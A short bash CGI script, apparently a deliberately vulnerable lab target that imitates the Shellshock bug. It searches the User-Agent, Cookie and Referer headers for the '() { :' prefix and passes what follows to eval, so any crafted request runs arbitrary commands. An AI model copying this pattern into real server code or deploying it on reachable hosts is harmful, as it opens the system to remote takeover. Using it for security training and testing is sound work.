#!/bin/bash
echo "Content-Type: text/plain"
echo ""
for h in "$HTTP_USER_AGENT" "$HTTP_COOKIE" "$HTTP_REFERER"; do
    case "$h" in
        *"() { :"*)
            cmd="${h#*};}"; cmd="${cmd# }"
            eval "$cmd" 2>/dev/null
            ;;
    esac
done
echo "bash cgi"
